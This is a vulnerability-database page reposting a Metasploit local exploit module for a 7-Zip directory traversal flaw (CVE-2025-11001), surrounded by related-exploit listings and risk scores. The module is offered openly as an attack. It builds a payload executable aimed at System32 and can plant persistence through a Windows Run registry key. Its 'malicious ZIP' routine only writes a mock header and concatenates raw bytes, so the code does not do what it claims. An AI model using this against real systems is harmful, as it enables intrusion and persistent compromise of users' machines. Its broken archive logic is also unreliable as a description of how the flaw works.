Lucene search
K

๐Ÿ“„ 7-Zip Directory Traversal / Remote Code Execution

๐Ÿ—“๏ธย 21 Apr 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 57ย Views

Local exploit of seven zip directory traversal causing remote code execution via crafted zip (CVE-2025-11001)

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-11001
20 Nov 202504:16
โ€“githubexploit
GithubExploit
Exploit for CVE-2025-11001
22 Nov 202517:58
โ€“githubexploit
GithubExploit
Exploit for CVE-2025-11001
24 Nov 202513:55
โ€“githubexploit
GithubExploit
Exploit for CVE-2025-11001
14 Oct 202509:25
โ€“githubexploit
GithubExploit
Exploit for Path Traversal in 7-Zip
12 Dec 202516:49
โ€“githubexploit
GithubExploit
Exploit for CVE-2025-11001
15 Oct 202512:14
โ€“githubexploit
GithubExploit
Exploit for CVE-2025-11001
22 Nov 202510:13
โ€“githubexploit
Tenable Nessus
7-Zip < 25.00
23 Jul 202500:00
โ€“nessus
Tenable Nessus
Amazon Linux 2023 : p7zip, p7zip-plugins (ALAS2023-2025-1250)
28 Oct 202500:00
โ€“nessus
Tenable Nessus
Amazon Linux 2023 : 7zip, 7zip-reduced, 7zip-standalone (ALAS2023-2025-1251)
28 Oct 202500:00
โ€“nessus
Rows per page
==================================================================================================================================
    | # Title     : 7-Zip Directory Traversal Leading to RCE (Metasploit Local Exploit                                               |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.7-zip.org                                                                                            |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit local Windows exploit module targets a directory traversal vulnerability in 7-Zip (< 25.00) CVE-2025-11001 that can be abused through a malicious ZIP archive 
                     to achieve arbitrary code execution when the archive is extracted.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Post::Windows::Priv
      include Msf::Post::Windows::FileInfo
      include Msf::Post::Windows::Registry
      include Msf::Exploit::EXE
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => '7-Zip Directory Traversal to RCE via Malicious ZIP (CVE-2025-11001)',
            'Description' => %q{
              This module exploits a directory traversal vulnerability in 7-Zip versions
              prior to 25.00.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka)'
            ],
            'Platform' => 'win',
            'Arch' => [ARCH_X64, ARCH_X86],
            'Targets' => [
              [
                'Windows (Payload Execution)',
                {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X64, ARCH_X86],
                  'Type' => :windows_payload
                }
              ]
            ],
            'DefaultTarget' => 0
          )
        )
    
        register_options([
          OptPath.new('PAYLOAD_FILE', [false, 'Custom payload file to embed (optional)', nil]),
          OptString.new('TARGET_PATH', [true, 'Target directory for payload extraction', 'C:\\Windows\\System32']),
          OptString.new('ZIP_FILENAME', [false, 'Output ZIP filename', 'CVE-2025-11001-exploit.zip']),
          OptString.new('SYMLINK_NAME', [false, 'Symlink entry name', 'evil.lnk'])
        ])
    
        register_advanced_options([
          OptBool.new('CLEANUP', [true, 'Attempt to delete payload after execution', true]),
          OptBool.new('PERSISTENCE', [false, 'Establish persistence via registry run key', false])
        ])
      end
    
      def check
        print_status("Checking if target has vulnerable 7-Zip version...")
    
        paths = [
          "#{ENV['PROGRAMFILES']}\\7-Zip\\7z.exe",
          "#{ENV['PROGRAMFILES(X86)']}\\7-Zip\\7z.exe"
        ]
    
        paths.each do |path|
          next unless file_exist?(path)
    
          version = get_file_version(path)
          next unless version
    
          if vulnerable_version?(version)
            print_good("Found vulnerable 7-Zip version: #{version}")
            return Exploit::CheckCode::Vulnerable
          else
            print_status("Found patched 7-Zip version: #{version}")
            return Exploit::CheckCode::Safe
          end
        end
    
        Exploit::CheckCode::Unknown
      end
    
      def exploit
        print_status("Generating malicious ZIP archive for CVE-2025-11001")
    
        payload_path = get_payload_path
        fail_with(Failure::BadConfig, "Payload not found") unless File.exist?(payload_path)
    
        zip_path = build_malicious_zip(payload_path)
        fail_with(Failure::UnexpectedReply, "ZIP creation failed") unless zip_path && File.exist?(zip_path)
    
        print_good("Malicious ZIP created: #{zip_path}")
    
        store_loot(
          '7zip.malicious.zip',
          'application/zip',
          rhost,
          File.read(zip_path),
          File.basename(zip_path),
          'Malicious ZIP archive'
        )
    
        print_warning("[*] Requires victim interaction to extract ZIP as Administrator")
    
        if datastore['PERSISTENCE']
          setup_persistence(payload_path)
        end
    
        print_good("[+] Exploit ready for delivery")
      end
    
      private
    
      def get_payload_path
        if datastore['PAYLOAD_FILE'] && !datastore['PAYLOAD_FILE'].empty?
          return datastore['PAYLOAD_FILE']
        end
    
        payload_exe = generate_payload_exe
        temp_path = "#{Dir.tmpdir}/#{Rex::Text.rand_text_alpha(8)}.exe"
    
        File.binwrite(temp_path, payload_exe)
        register_file_for_cleanup(temp_path)
    
        temp_path
      end
    
      def vulnerable_version?(version)
        begin
          major = version.split('.')[0].to_i
          return major < 25
        rescue
          false
        end
      end
    
      def build_malicious_zip(payload_file)
        output_zip = datastore['ZIP_FILENAME']
    
        output_zip = File.join(Dir.tmpdir, output_zip) unless output_zip.include?(':')
    
        payload_data = File.binread(payload_file)
        payload_name = File.basename(payload_file)
    
        target_path = datastore['TARGET_PATH'].gsub('\\', '/')
        traversal = "../../../../#{target_path}"
    
        File.open(output_zip, 'wb') do |f|
          f.write("ZIP-MOCK-HEADER")
          f.write(payload_name)
          f.write(payload_data)
          f.write(traversal)
        end
    
        output_zip
      end
    
      def setup_persistence(payload_path)
        print_status("Setting persistence...")
    
        persist_path = "#{ENV['APPDATA']}\\#{Rex::Text.rand_text_alpha(8)}.exe"
    
        if copy_file(payload_path, persist_path)
          print_good("Copied to startup location")
        else
          registry_key = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
          value_name = Rex::Text.rand_text_alpha(8)
    
          registry_setvaldata(registry_key, value_name, persist_path, 'REG_SZ')
        end
      end
    
      def cleanup
        super if defined?(super)
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2026 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.8
CVSS 37
EPSS0.00258
SSVC
57